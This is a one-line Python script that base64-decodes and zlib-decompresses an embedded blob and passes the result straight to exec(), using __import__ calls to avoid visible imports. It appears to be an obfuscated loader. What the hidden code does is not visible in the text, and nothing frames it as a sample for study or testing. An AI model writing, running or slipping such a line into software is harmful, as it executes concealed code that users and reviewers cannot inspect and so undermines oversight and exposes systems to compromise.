exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+RW5JMIaubJe2uIKIBxERbG8ispuMNWw2CUmqq+J/tyHFywzvzZs3H3ryLiQcnRwh8W+jBz70EdqGxxQOMvGkJ0BvLuAZa4tDb/dA6wXboCqFr2OsYleaRUn0gp/w9vHm/nW7e7q9fmBZJ6SzFmSilLQiSS/sPrhRaEd4vaqXa5ZVQ4B+RBXMEnzK9nm+iAbA0yVDpitriYP1vRwpubojPIoA8oM2jD0vXpDqTtgw9PmuDWADlip2aY526uy/el5ohmAGSfPlQoF0kw8QIy1PEEPbZFJBVvIfEskm/jL0B1reYdw=')[0])))